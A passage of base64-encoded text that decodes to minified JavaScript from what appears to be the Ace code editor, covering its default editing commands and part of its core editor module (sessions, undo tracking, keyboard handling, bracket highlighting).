JvdysxPGUuc2Vzc2lvbi5kb2MuZ2V0TGVuZ3RoKCktMSYmKGYrPWUuc2Vzc2lvbi5kb2MuZ2V0TmV3TGluZUNoYXJhY3RlcigpKSxlLmNsZWFyU2VsZWN0aW9uKCksZS5zZXNzaW9uLmRvYy5yZXBsYWNlKG5ldyBzKG4ucm93LDAsaS5yb3crMiwwKSxmKSxhPjA/KGUuc2VsZWN0aW9uLm1vdmVDdXJzb3JUbyhuLnJvdyxuLmNvbHVtbiksZS5zZWxlY3Rpb24uc2VsZWN0VG8obi5yb3csbi5jb2x1bW4rYSkpOihvPWUuc2Vzc2lvbi5kb2MuZ2V0TGluZShuLnJvdykubGVuZ3RoPm8/bysxOm8sZS5zZWxlY3Rpb24ubW92ZUN1cnNvclRvKG4ucm93LG8pKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHJlYWRPbmx5OiEwfSx7bmFtZToiaW52ZXJ0U2VsZWN0aW9uIixkZXNjcmlwdGlvbjoiSW52ZXJ0IHNlbGVjdGlvbiIsYmluZEtleTpvKG51bGwsbnVsbCksZXhlYzpmdW5jdGlvbihlKXt2YXIgdD1lLnNlc3Npb24uZG9jLmdldExlbmd0aCgpLTEsbj1lLnNlc3Npb24uZG9jLmdldExpbmUodCkubGVuZ3RoLHI9ZS5zZWxlY3Rpb24ucmFuZ2VMaXN0LnJhbmdlcyxpPVtdO3IubGVuZ3RoPDEmJihyPVtlLnNlbGVjdGlvbi5nZXRSYW5nZSgpXSk7Zm9yKHZhciBvPTA7bzxyLmxlbmd0aDtvKyspbz09ci5sZW5ndGgtMSYmKHJbb10uZW5kLnJvdyE9PXR8fHJbb10uZW5kLmNvbHVtbiE9PW4pJiZpLnB1c2gobmV3IHMocltvXS5lbmQucm93LHJbb10uZW5kLmNvbHVtbix0LG4pKSxvPT09MD8ocltvXS5zdGFydC5yb3chPT0wfHxyW29dLnN0YXJ0LmNvbHVtbiE9PTApJiZpLnB1c2gobmV3IHMoMCwwLHJbb10uc3RhcnQucm93LHJbb10uc3RhcnQuY29sdW1uKSk6aS5wdXNoKG5ldyBzKHJbby0xXS5lbmQucm93LHJbby0xXS5lbmQuY29sdW1uLHJbb10uc3RhcnQucm93LHJbb10uc3RhcnQuY29sdW1uKSk7ZS5leGl0TXVsdGlTZWxlY3RNb2RlKCksZS5jbGVhclNlbGVjdGlvbigpO2Zvcih2YXIgbz0wO288aS5sZW5ndGg7bysrKWUuc2VsZWN0aW9uLmFkZFJhbmdlKGlbb10sITEpfSxyZWFkT25seTohMCxzY3JvbGxJbnRvVmlldzoibm9uZSJ9LHtuYW1lOiJhZGRMaW5lQWZ0ZXIiLGRlc2NyaXB0aW9uOiJBZGQgbmV3IGxpbmUgYWZ0ZXIgdGhlIGN1cnJlbnQgbGluZSIsZXhlYzpmdW5jdGlvbihlKXtlLnNlbGVjdGlvbi5jbGVhclNlbGVjdGlvbigpLGUubmF2aWdhdGVMaW5lRW5kKCksZS5pbnNlcnQoIlxuIil9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIixzY3JvbGxJbnRvVmlldzoiY3Vyc29yIn0se25hbWU6ImFkZExpbmVCZWZvcmUiLGRlc2NyaXB0aW9uOiJBZGQgbmV3IGxpbmUgYmVmb3JlIHRoZSBjdXJyZW50IGxpbmUiLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5zZWxlY3Rpb24uY2xlYXJTZWxlY3Rpb24oKTt2YXIgdD1lLmdldEN1cnNvclBvc2l0aW9uKCk7ZS5zZWxlY3Rpb24ubW92ZVRvKHQucm93LTEsTnVtYmVyLk1BWF9WQUxVRSksZS5pbnNlcnQoIlxuIiksdC5yb3c9PT0wJiZlLm5hdmlnYXRlVXAoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IifSx7bmFtZToib3BlbkNvbW1hbmRQYWxsZXRlIixkZXNjcmlwdGlvbjoiT3BlbiBjb21tYW5kIHBhbGV0dGUiLGJpbmRLZXk6bygiRjEiLCJGMSIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5wcm9tcHQoeyR0eXBlOiJjb21tYW5kcyJ9KX0scmVhZE9ubHk6ITB9LHtuYW1lOiJtb2RlU2VsZWN0IixkZXNjcmlwdGlvbjoiQ2hhbmdlIGxhbmd1YWdlIG1vZGUuLi4iLGJpbmRLZXk6byhudWxsLG51bGwpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5wcm9tcHQoeyR0eXBlOiJtb2RlcyJ9KX0scmVhZE9ubHk6ITB9XTtmb3IodmFyIHU9MTt1PDk7dSsrKXQuY29tbWFuZHMucHVzaCh7bmFtZToiZm9sZFRvTGV2ZWwiK3UsZGVzY3JpcHRpb246IkZvbGQgVG8gTGV2ZWwgIit1LGxldmVsOnUsZXhlYzpmdW5jdGlvbihlKXtlLnNlc3Npb24uZm9sZFRvTGV2ZWwodGhpcy5sZXZlbCl9LHNjcm9sbEludG9WaWV3OiJjZW50ZXIiLHJlYWRPbmx5OiEwfSl9KSxkZWZpbmUoImFjZS9lZGl0b3IiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL29vcCIsImFjZS9saWIvZG9tIiwiYWNlL2xpYi9sYW5nIiwiYWNlL2xpYi91c2VyYWdlbnQiLCJhY2Uva2V5Ym9hcmQvdGV4dGlucHV0IiwiYWNlL21vdXNlL21vdXNlX2hhbmRsZXIiLCJhY2UvbW91c2UvZm9sZF9oYW5kbGVyIiwiYWNlL2tleWJvYXJkL2tleWJpbmRpbmciLCJhY2UvZWRpdF9zZXNzaW9uIiwiYWNlL3NlYXJjaCIsImFjZS9yYW5nZSIsImFjZS9saWIvZXZlbnRfZW1pdHRlciIsImFjZS9jb21tYW5kcy9jb21tYW5kX21hbmFnZXIiLCJhY2UvY29tbWFuZHMvZGVmYXVsdF9jb21tYW5kcyIsImFjZS9jb25maWciLCJhY2UvdG9rZW5faXRlcmF0b3IiLCJhY2UvY2xpcGJvYXJkIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj10aGlzJiZ0aGlzLl9fdmFsdWVzfHxmdW5jdGlvbihlKXt2YXIgdD10eXBlb2YgU3ltYm9sPT0iZnVuY3Rpb24iJiZTeW1ib2wuaXRlcmF0b3Isbj10JiZlW3RdLHI9MDtpZihuKXJldHVybiBuLmNhbGwoZSk7aWYoZSYmdHlwZW9mIGUubGVuZ3RoPT0ibnVtYmVyIilyZXR1cm57bmV4dDpmdW5jdGlvbigpe3JldHVybiBlJiZyPj1lLmxlbmd0aCYmKGU9dm9pZCAwKSx7dmFsdWU6ZSYmZVtyKytdLGRvbmU6IWV9fX07dGhyb3cgbmV3IFR5cGVFcnJvcih0PyJPYmplY3QgaXMgbm90IGl0ZXJhYmxlLiI6IlN5bWJvbC5pdGVyYXRvciBpcyBub3QgZGVmaW5lZC4iKX0saT1lKCIuL2xpYi9vb3AiKSxzPWUoIi4vbGliL2RvbSIpLG89ZSgiLi9saWIvbGFuZyIpLHU9ZSgiLi9saWIvdXNlcmFnZW50IiksYT1lKCIuL2tleWJvYXJkL3RleHRpbnB1dCIpLlRleHRJbnB1dCxmPWUoIi4vbW91c2UvbW91c2VfaGFuZGxlciIpLk1vdXNlSGFuZGxlcixsPWUoIi4vbW91c2UvZm9sZF9oYW5kbGVyIikuRm9sZEhhbmRsZXIsYz1lKCIuL2tleWJvYXJkL2tleWJpbmRpbmciKS5LZXlCaW5kaW5nLGg9ZSgiLi9lZGl0X3Nlc3Npb24iKS5FZGl0U2Vzc2lvbixwPWUoIi4vc2VhcmNoIikuU2VhcmNoLGQ9ZSgiLi9yYW5nZSIpLlJhbmdlLHY9ZSgiLi9saWIvZXZlbnRfZW1pdHRlciIpLkV2ZW50RW1pdHRlcixtPWUoIi4vY29tbWFuZHMvY29tbWFuZF9tYW5hZ2VyIikuQ29tbWFuZE1hbmFnZXIsZz1lKCIuL2NvbW1hbmRzL2RlZmF1bHRfY29tbWFuZHMiKS5jb21tYW5kcyx5PWUoIi4vY29uZmlnIiksYj1lKCIuL3Rva2VuX2l0ZXJhdG9yIikuVG9rZW5JdGVyYXRvcix3PWUoIi4vY2xpcGJvYXJkIiksRT1mdW5jdGlvbihlLHQsbil7dGhpcy4kdG9EZXN0cm95PVtdO3ZhciByPWUuZ2V0Q29udGFpbmVyRWxlbWVudCgpO3RoaXMuY29udGFpbmVyPXIsdGhpcy5yZW5kZXJlcj1lLHRoaXMuaWQ9ImVkaXRvciIrICsrRS4kdWlkLHRoaXMuY29tbWFuZHM9bmV3IG0odS5pc01hYz8ibWFjIjoid2luIixnKSx0eXBlb2YgZG9jdW1lbnQ9PSJvYmplY3QiJiYodGhpcy50ZXh0SW5wdXQ9bmV3IGEoZS5nZXRUZXh0QXJlYUNvbnRhaW5lcigpLHRoaXMpLHRoaXMucmVuZGVyZXIudGV4dGFyZWE9dGhpcy50ZXh0SW5wdXQuZ2V0RWxlbWVudCgpLHRoaXMuJG1vdXNlSGFuZGxlcj1uZXcgZih0aGlzKSxuZXcgbCh0aGlzKSksdGhpcy5rZXlCaW5kaW5nPW5ldyBjKHRoaXMpLHRoaXMuJHNlYXJjaD0obmV3IHApLnNldCh7d3JhcDohMH0pLHRoaXMuJGhpc3RvcnlUcmFja2VyPXRoaXMuJGhpc3RvcnlUcmFja2VyLmJpbmQodGhpcyksdGhpcy5jb21tYW5kcy5vbigiZXhlYyIsdGhpcy4kaGlzdG9yeVRyYWNrZXIpLHRoaXMuJGluaXRPcGVyYXRpb25MaXN0ZW5lcnMoKSx0aGlzLl8kZW1pdElucHV0RXZlbnQ9by5kZWxheWVkQ2FsbChmdW5jdGlvbigpe3RoaXMuX3NpZ25hbCgiaW5wdXQiLHt9KSx0aGlzLnNlc3Npb24mJiF0aGlzLnNlc3Npb24uZGVzdHJveWVkJiZ0aGlzLnNlc3Npb24uYmdUb2tlbml6ZXIuc2NoZWR1bGVTdGFydCgpfS5iaW5kKHRoaXMpKSx0aGlzLm9uKCJjaGFuZ2UiLGZ1bmN0aW9uKGUsdCl7dC5fJGVtaXRJbnB1dEV2ZW50LnNjaGVkdWxlKDMxKX0pLHRoaXMuc2V0U2Vzc2lvbih0fHxuJiZuLnNlc3Npb258fG5ldyBoKCIiKSkseS5yZXNldE9wdGlvbnModGhpcyksbiYmdGhpcy5zZXRPcHRpb25zKG4pLHkuX3NpZ25hbCgiZWRpdG9yIix0aGlzKX07RS4kdWlkPTAsZnVuY3Rpb24oKXtpLmltcGxlbWVudCh0aGlzLHYpLHRoaXMuJGluaXRPcGVyYXRpb25MaXN0ZW5lcnM9ZnVuY3Rpb24oKXt0aGlzLmNvbW1hbmRzLm9uKCJleGVjIix0aGlzLnN0YXJ0T3BlcmF0aW9uLmJpbmQodGhpcyksITApLHRoaXMuY29tbWFuZHMub24oImFmdGVyRXhlYyIsdGhpcy5lbmRPcGVyYXRpb24uYmluZCh0aGlzKSwhMCksdGhpcy4kb3BSZXNldFRpbWVyPW8uZGVsYXllZENhbGwodGhpcy5lbmRPcGVyYXRpb24uYmluZCh0aGlzLCEwKSksdGhpcy5vbigiY2hhbmdlIixmdW5jdGlvbigpe3RoaXMuY3VyT3B8fCh0aGlzLnN0YXJ0T3BlcmF0aW9uKCksdGhpcy5jdXJPcC5zZWxlY3Rpb25CZWZvcmU9dGhpcy4kbGFzdFNlbCksdGhpcy5jdXJPcC5kb2NDaGFuZ2VkPSEwfS5iaW5kKHRoaXMpLCEwKSx0aGlzLm9uKCJjaGFuZ2VTZWxlY3Rpb24iLGZ1bmN0aW9uKCl7dGhpcy5jdXJPcHx8KHRoaXMuc3RhcnRPcGVyYXRpb24oKSx0aGlzLmN1ck9wLnNlbGVjdGlvbkJlZm9yZT10aGlzLiRsYXN0U2VsKSx0aGlzLmN1ck9wLnNlbGVjdGlvbkNoYW5nZWQ9ITB9LmJpbmQodGhpcyksITApfSx0aGlzLmN1ck9wPW51bGwsdGhpcy5wcmV2T3A9e30sdGhpcy5zdGFydE9wZXJhdGlvbj1mdW5jdGlvbihlKXtpZih0aGlzLmN1ck9wKXtpZighZXx8dGhpcy5jdXJPcC5jb21tYW5kKXJldHVybjt0aGlzLnByZXZPcD10aGlzLmN1ck9wfWV8fCh0aGlzLnByZXZpb3VzQ29tbWFuZD1udWxsLGU9e30pLHRoaXMuJG9wUmVzZXRUaW1lci5zY2hlZHVsZSgpLHRoaXMuY3VyT3A9dGhpcy5zZXNzaW9uLmN1ck9wPXtjb21tYW5kOmUuY29tbWFuZHx8e30sYXJnczplLmFyZ3Msc2Nyb2xsVG9wOnRoaXMucmVuZGVyZXIuc2Nyb2xsVG9wfSx0aGlzLmN1ck9wLnNlbGVjdGlvbkJlZm9yZT10aGlzLnNlbGVjdGlvbi50b0pTT04oKX0sdGhpcy5lbmRPcGVyYXRpb249ZnVuY3Rpb24oZSl7aWYodGhpcy5jdXJPcCYmdGhpcy5zZXNzaW9uKXtpZihlJiZlLnJldHVyblZhbHVlPT09ITF8fCF0aGlzLnNlc3Npb24pcmV0dXJuIHRoaXMuY3VyT3A9bnVsbDtpZihlPT0xJiZ0aGlzLmN1ck9wLmNvbW1hbmQmJnRoaXMuY3VyT3AuY29tbWFuZC5uYW1lPT0ibW91c2UiKXJldHVybjt0aGlzLl9zaWduYWwoImJlZm9yZUVuZE9wZXJhdGlvbiIpO2lmKCF0aGlzLmN1ck9wKXJldHVybjt2YXIgdD10aGlzLmN1ck9wLmNvbW1hbmQsbj10JiZ0LnNjcm9sbEludG9WaWV3O2lmKG4pe3N3aXRjaChuKXtjYXNlImNlbnRlci1hbmltYXRlIjpuPSJhbmltYXRlIjtjYXNlImNlbnRlciI6dGhpcy5yZW5kZXJlci5zY3JvbGxDdXJzb3JJbnRvVmlldyhudWxsLC41KTticmVhaztjYXNlImFuaW1hdGUiOmNhc2UiY3Vyc29yIjp0aGlzLnJlbmRlcmVyLnNjcm9sbEN1cnNvckludG9WaWV3KCk7YnJlYWs7Y2FzZSJzZWxlY3Rpb25QYXJ0Ijp2YXIgcj10aGlzLnNlbGVjdGlvbi5nZXRSYW5nZSgpLGk9dGhpcy5yZW5kZXJlci5sYXllckNvbmZpZzsoci5zdGFydC5yb3c+PWkubGFzdFJvd3x8ci5lbmQucm93PD1pLmZpcnN0Um93KSYmdGhpcy5yZW5kZXJlci5zY3JvbGxTZWxlY3Rpb25JbnRvVmlldyh0aGlzLnNlbGVjdGlvbi5hbmNob3IsdGhpcy5zZWxlY3Rpb24ubGVhZCk7YnJlYWs7ZGVmYXVsdDp9bj09ImFuaW1hdGUiJiZ0aGlzLnJlbmRlcmVyLmFuaW1hdGVTY3JvbGxpbmcodGhpcy5jdXJPcC5zY3JvbGxUb3ApfXZhciBzPXRoaXMuc2VsZWN0aW9uLnRvSlNPTigpO3RoaXMuY3VyT3Auc2VsZWN0aW9uQWZ0ZXI9cyx0aGlzLiRsYXN0U2VsPXRoaXMuc2VsZWN0aW9uLnRvSlNPTigpLHRoaXMuc2Vzc2lvbi5nZXRVbmRvTWFuYWdlcigpLmFkZFNlbGVjdGlvbihzKSx0aGlzLnByZXZPcD10aGlzLmN1ck9wLHRoaXMuY3VyT3A9bnVsbH19LHRoaXMuJG1lcmdlYWJsZUNvbW1hbmRzPVsiYmFja3NwYWNlIiwiZGVsIiwiaW5zZXJ0c3RyaW5nIl0sdGhpcy4kaGlzdG9yeVRyYWNrZXI9ZnVuY3Rpb24oZSl7aWYoIXRoaXMuJG1lcmdlVW5kb0RlbHRhcylyZXR1cm47dmFyIHQ9dGhpcy5wcmV2T3Asbj10aGlzLiRtZXJnZWFibGVDb21tYW5kcyxyPXQuY29tbWFuZCYmZS5jb21tYW5kLm5hbWU9PXQuY29tbWFuZC5uYW1lO2lmKGUuY29tbWFuZC5uYW1lPT0iaW5zZXJ0c3RyaW5nIil7dmFyIGk9ZS5hcmdzO3RoaXMubWVyZ2VOZXh0Q29tbWFuZD09PXVuZGVmaW5lZCYmKHRoaXMubWVyZ2VOZXh0Q29tbWFuZD0hMCkscj1yJiZ0aGlzLm1lcmdlTmV4dENvbW1hbmQmJighL1xzLy50ZXN0KGkpfHwvXHMvLnRlc3QodC5hcmdzKSksdGhpcy5tZXJnZU5leHRDb21tYW5kPSEwfWVsc2Ugcj1yJiZuLmluZGV4T2YoZS5jb21tYW5kLm5hbWUpIT09LTE7dGhpcy4kbWVyZ2VVbmRvRGVsdGFzIT0iYWx3YXlzIiYmRGF0ZS5ub3coKS10aGlzLnNlcXVlbmNlU3RhcnRUaW1lPjJlMyYmKHI9ITEpLHI/dGhpcy5zZXNzaW9uLm1lcmdlVW5kb0RlbHRhcz0hMDpuLmluZGV4T2YoZS5jb21tYW5kLm5hbWUpIT09LTEmJih0aGlzLnNlcXVlbmNlU3RhcnRUaW1lPURhdGUubm93KCkpfSx0aGlzLnNldEtleWJvYXJkSGFuZGxlcj1mdW5jdGlvbihlLHQpe2lmKGUmJnR5cGVvZiBlPT0ic3RyaW5nIiYmZSE9ImFjZSIpe3RoaXMuJGtleWJpbmRpbmdJZD1lO3ZhciBuPXRoaXM7eS5sb2FkTW9kdWxlKFsia2V5YmluZGluZyIsZV0sZnVuY3Rpb24ocil7bi4ka2V5YmluZGluZ0lkPT1lJiZuLmtleUJpbmRpbmcuc2V0S2V5Ym9hcmRIYW5kbGVyKHImJnIuaGFuZGxlciksdCYmdCgpfSl9ZWxzZSB0aGlzLiRrZXliaW5kaW5nSWQ9bnVsbCx0aGlzLmtleUJpbmRpbmcuc2V0S2V5Ym9hcmRIYW5kbGVyKGUpLHQmJnQoKX0sdGhpcy5nZXRLZXlib2FyZEhhbmRsZXI9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5rZXlCaW5kaW5nLmdldEtleWJvYXJkSGFuZGxlcigpfSx0aGlzLnNldFNlc3Npb249ZnVuY3Rpb24oZSl7aWYodGhpcy5zZXNzaW9uPT1lKXJldHVybjt0aGlzLmN1ck9wJiZ0aGlzLmVuZE9wZXJhdGlvbigpLHRoaXMuY3VyT3A9e307dmFyIHQ9dGhpcy5zZXNzaW9uO2lmKHQpe3RoaXMuc2Vzc2lvbi5vZmYoImNoYW5nZSIsdGhpcy4kb25Eb2N1bWVudENoYW5nZSksdGhpcy5zZXNzaW9uLm9mZigiY2hhbmdlTW9kZSIsdGhpcy4kb25DaGFuZ2VNb2RlKSx0aGlzLnNlc3Npb24ub2ZmKCJ0b2tlbml6ZXJVcGRhdGUiLHRoaXMuJG9uVG9rZW5pemVyVXBkYXRlKSx0aGlzLnNlc3Npb24ub2ZmKCJjaGFuZ2VUYWJTaXplIix0aGlzLiRvbkNoYW5nZVRhYlNpemUpLHRoaXMuc2Vzc2lvbi5vZmYoImNoYW5nZVdyYXBMaW1pdCIsdGhpcy4kb25DaGFuZ2VXcmFwTGltaXQpLHRoaXMuc2Vzc2lvbi5vZmYoImNoYW5nZVdyYXBNb2RlIix0aGlzLiRvbkNoYW5nZVdyYXBNb2RlKSx0aGlzLnNlc3Npb24ub2ZmKCJjaGFuZ2VGb2xkIix0aGlzLiRvbkNoYW5nZUZvbGQpLHRoaXMuc2Vzc2lvbi5vZmYoImNoYW5nZUZyb250TWFya2VyIix0aGlzLiRvbkNoYW5nZUZyb250TWFya2VyKSx0aGlzLnNlc3Npb24ub2ZmKCJjaGFuZ2VCYWNrTWFya2VyIix0aGlzLiRvbkNoYW5nZUJhY2tNYXJrZXIpLHRoaXMuc2Vzc2lvbi5vZmYoImNoYW5nZUJyZWFrcG9pbnQiLHRoaXMuJG9uQ2hhbmdlQnJlYWtwb2ludCksdGhpcy5zZXNzaW9uLm9mZigiY2hhbmdlQW5ub3RhdGlvbiIsdGhpcy4kb25DaGFuZ2VBbm5vdGF0aW9uKSx0aGlzLnNlc3Npb24ub2ZmKCJjaGFuZ2VPdmVyd3JpdGUiLHRoaXMuJG9uQ3Vyc29yQ2hhbmdlKSx0aGlzLnNlc3Npb24ub2ZmKCJjaGFuZ2VTY3JvbGxUb3AiLHRoaXMuJG9uU2Nyb2xsVG9wQ2hhbmdlKSx0aGlzLnNlc3Npb24ub2ZmKCJjaGFuZ2VTY3JvbGxMZWZ0Iix0aGlzLiRvblNjcm9sbExlZnRDaGFuZ2UpO3ZhciBuPXRoaXMuc2Vzc2lvbi5nZXRTZWxlY3Rpb24oKTtuLm9mZigiY2hhbmdlQ3Vyc29yIix0aGlzLiRvbkN1cnNvckNoYW5nZSksbi5vZmYoImNoYW5nZVNlbGVjdGlvbiIsdGhpcy4kb25TZWxlY3Rpb25DaGFuZ2UpfXRoaXMuc2Vzc2lvbj1lLGU/KHRoaXMuJG9uRG9jdW1lbnRDaGFuZ2U9dGhpcy5vbkRvY3VtZW50Q2hhbmdlLmJpbmQodGhpcyksZS5vbigiY2hhbmdlIix0aGlzLiRvbkRvY3VtZW50Q2hhbmdlKSx0aGlzLnJlbmRlcmVyLnNldFNlc3Npb24oZSksdGhpcy4kb25DaGFuZ2VNb2RlPXRoaXMub25DaGFuZ2VNb2RlLmJpbmQodGhpcyksZS5vbigiY2hhbmdlTW9kZSIsdGhpcy4kb25DaGFuZ2VNb2RlKSx0aGlzLiRvblRva2VuaXplclVwZGF0ZT10aGlzLm9uVG9rZW5pemVyVXBkYXRlLmJpbmQodGhpcyksZS5vbigidG9rZW5pemVyVXBkYXRlIix0aGlzLiRvblRva2VuaXplclVwZGF0ZSksdGhpcy4kb25DaGFuZ2VUYWJTaXplPXRoaXMucmVuZGVyZXIub25DaGFuZ2VUYWJTaXplLmJpbmQodGhpcy5yZW5kZXJlciksZS5vbigiY2hhbmdlVGFiU2l6ZSIsdGhpcy4kb25DaGFuZ2VUYWJTaXplKSx0aGlzLiRvbkNoYW5nZVdyYXBMaW1pdD10aGlzLm9uQ2hhbmdlV3JhcExpbWl0LmJpbmQodGhpcyksZS5vbigiY2hhbmdlV3JhcExpbWl0Iix0aGlzLiRvbkNoYW5nZVdyYXBMaW1pdCksdGhpcy4kb25DaGFuZ2VXcmFwTW9kZT10aGlzLm9uQ2hhbmdlV3JhcE1vZGUuYmluZCh0aGlzKSxlLm9uKCJjaGFuZ2VXcmFwTW9kZSIsdGhpcy4kb25DaGFuZ2VXcmFwTW9kZSksdGhpcy4kb25DaGFuZ2VGb2xkPXRoaXMub25DaGFuZ2VGb2xkLmJpbmQodGhpcyksZS5vbigiY2hhbmdlRm9sZCIsdGhpcy4kb25DaGFuZ2VGb2xkKSx0aGlzLiRvbkNoYW5nZUZyb250TWFya2VyPXRoaXMub25DaGFuZ2VGcm9udE1hcmtlci5iaW5kKHRoaXMpLHRoaXMuc2Vzc2lvbi5vbigiY2hhbmdlRnJvbnRNYXJrZXIiLHRoaXMuJG9uQ2hhbmdlRnJvbnRNYXJrZXIpLHRoaXMuJG9uQ2hhbmdlQmFja01hcmtlcj10aGlzLm9uQ2hhbmdlQmFja01hcmtlci5iaW5kKHRoaXMpLHRoaXMuc2Vzc2lvbi5vbigiY2hhbmdlQmFja01hcmtlciIsdGhpcy4kb25DaGFuZ2VCYWNrTWFya2VyKSx0aGlzLiRvbkNoYW5nZUJyZWFrcG9pbnQ9dGhpcy5vbkNoYW5nZUJyZWFrcG9pbnQuYmluZCh0aGlzKSx0aGlzLnNlc3Npb24ub24oImNoYW5nZUJyZWFrcG9pbnQiLHRoaXMuJG9uQ2hhbmdlQnJlYWtwb2ludCksdGhpcy4kb25DaGFuZ2VBbm5vdGF0aW9uPXRoaXMub25DaGFuZ2VBbm5vdGF0aW9uLmJpbmQodGhpcyksdGhpcy5zZXNzaW9uLm9uKCJjaGFuZ2VBbm5vdGF0aW9uIix0aGlzLiRvbkNoYW5nZUFubm90YXRpb24pLHRoaXMuJG9uQ3Vyc29yQ2hhbmdlPXRoaXMub25DdXJzb3JDaGFuZ2UuYmluZCh0aGlzKSx0aGlzLnNlc3Npb24ub24oImNoYW5nZU92ZXJ3cml0ZSIsdGhpcy4kb25DdXJzb3JDaGFuZ2UpLHRoaXMuJG9uU2Nyb2xsVG9wQ2hhbmdlPXRoaXMub25TY3JvbGxUb3BDaGFuZ2UuYmluZCh0aGlzKSx0aGlzLnNlc3Npb24ub24oImNoYW5nZVNjcm9sbFRvcCIsdGhpcy4kb25TY3JvbGxUb3BDaGFuZ2UpLHRoaXMuJG9uU2Nyb2xsTGVmdENoYW5nZT10aGlzLm9uU2Nyb2xsTGVmdENoYW5nZS5iaW5kKHRoaXMpLHRoaXMuc2Vzc2lvbi5vbigiY2hhbmdlU2Nyb2xsTGVmdCIsdGhpcy4kb25TY3JvbGxMZWZ0Q2hhbmdlKSx0aGlzLnNlbGVjdGlvbj1lLmdldFNlbGVjdGlvbigpLHRoaXMuc2VsZWN0aW9uLm9uKCJjaGFuZ2VDdXJzb3IiLHRoaXMuJG9uQ3Vyc29yQ2hhbmdlKSx0aGlzLiRvblNlbGVjdGlvbkNoYW5nZT10aGlzLm9uU2VsZWN0aW9uQ2hhbmdlLmJpbmQodGhpcyksdGhpcy5zZWxlY3Rpb24ub24oImNoYW5nZVNlbGVjdGlvbiIsdGhpcy4kb25TZWxlY3Rpb25DaGFuZ2UpLHRoaXMub25DaGFuZ2VNb2RlKCksdGhpcy5vbkN1cnNvckNoYW5nZSgpLHRoaXMub25TY3JvbGxUb3BDaGFuZ2UoKSx0aGlzLm9uU2Nyb2xsTGVmdENoYW5nZSgpLHRoaXMub25TZWxlY3Rpb25DaGFuZ2UoKSx0aGlzLm9uQ2hhbmdlRnJvbnRNYXJrZXIoKSx0aGlzLm9uQ2hhbmdlQmFja01hcmtlcigpLHRoaXMub25DaGFuZ2VCcmVha3BvaW50KCksdGhpcy5vbkNoYW5nZUFubm90YXRpb24oKSx0aGlzLnNlc3Npb24uZ2V0VXNlV3JhcE1vZGUoKSYmdGhpcy5yZW5kZXJlci5hZGp1c3RXcmFwTGltaXQoKSx0aGlzLnJlbmRlcmVyLnVwZGF0ZUZ1bGwoKSk6KHRoaXMuc2VsZWN0aW9uPW51bGwsdGhpcy5yZW5kZXJlci5zZXRTZXNzaW9uKGUpKSx0aGlzLl9zaWduYWwoImNoYW5nZVNlc3Npb24iLHtzZXNzaW9uOmUsb2xkU2Vzc2lvbjp0fSksdGhpcy5jdXJPcD1udWxsLHQmJnQuX3NpZ25hbCgiY2hhbmdlRWRpdG9yIix7b2xkRWRpdG9yOnRoaXN9KSxlJiZlLl9zaWduYWwoImNoYW5nZUVkaXRvciIse2VkaXRvcjp0aGlzfSksZSYmIWUuZGVzdHJveWVkJiZlLmJnVG9rZW5pemVyLnNjaGVkdWxlU3RhcnQoKX0sdGhpcy5nZXRTZXNzaW9uPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuc2Vzc2lvbn0sdGhpcy5zZXRWYWx1ZT1mdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLnNlc3Npb24uZG9jLnNldFZhbHVlKGUpLHQ/dD09MT90aGlzLm5hdmlnYXRlRmlsZUVuZCgpOnQ9PS0xJiZ0aGlzLm5hdmlnYXRlRmlsZVN0YXJ0KCk6dGhpcy5zZWxlY3RBbGwoKSxlfSx0aGlzLmdldFZhbHVlPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuc2Vzc2lvbi5nZXRWYWx1ZSgpfSx0aGlzLmdldFNlbGVjdGlvbj1mdW5jdGlvbigpe3JldHVybiB0aGlzLnNlbGVjdGlvbn0sdGhpcy5yZXNpemU9ZnVuY3Rpb24oZSl7dGhpcy5yZW5kZXJlci5vblJlc2l6ZShlKX0sdGhpcy5zZXRUaGVtZT1mdW5jdGlvbihlLHQpe3RoaXMucmVuZGVyZXIuc2V0VGhlbWUoZSx0KX0sdGhpcy5nZXRUaGVtZT1mdW5jdGlvbigpe3JldHVybiB0aGlzLnJlbmRlcmVyLmdldFRoZW1lKCl9LHRoaXMuc2V0U3R5bGU9ZnVuY3Rpb24oZSl7dGhpcy5yZW5kZXJlci5zZXRTdHlsZShlKX0sdGhpcy51bnNldFN0eWxlPWZ1bmN0aW9uKGUpe3RoaXMucmVuZGVyZXIudW5zZXRTdHlsZShlKX0sdGhpcy5nZXRGb250U2l6ZT1mdW5jdGlvbigpe3JldHVybiB0aGlzLmdldE9wdGlvbigiZm9udFNpemUiKXx8cy5jb21wdXRlZFN0eWxlKHRoaXMuY29udGFpbmVyKS5mb250U2l6ZX0sdGhpcy5zZXRGb250U2l6ZT1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigiZm9udFNpemUiLGUpfSx0aGlzLiRoaWdobGlnaHRCcmFja2V0cz1mdW5jdGlvbigpe2lmKHRoaXMuJGhpZ2hsaWdodFBlbmRpbmcpcmV0dXJuO3ZhciBlPXRoaXM7dGhpcy4kaGlnaGxpZ2h0UGVuZGluZz0hMCxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZS4kaGlnaGxpZ2h0UGVuZGluZz0hMTt2YXIgdD1lLnNlc3Npb247aWYoIXR8fHQuZGVzdHJveWVkKXJldHVybjt0LiRicmFja2V0SGlnaGxpZ2h0JiYodC4kYnJhY2tldEhpZ2hsaWdodC5tYXJrZXJJZHMuZm9yRWFjaChmdW5jdGlvbihlKXt0LnJlbW92ZU1hcmtlcihlKX0pLHQuJGJyYWNrZXRIaWdobGlnaHQ9bnVsbCk7dmFyIG49ZS5nZXRDdXJzb3JQb3NpdGlvbigpLHI9ZS5nZXRLZXlib2FyZEhhbmRsZXIoKSxpPXImJnIuJGdldERpcmVjdGlvbkZvckhpZ2hsaWdodCYmci4kZ2V0RGlyZWN0aW9uRm9ySGlnaGxpZ2h0KGUpLHM9dC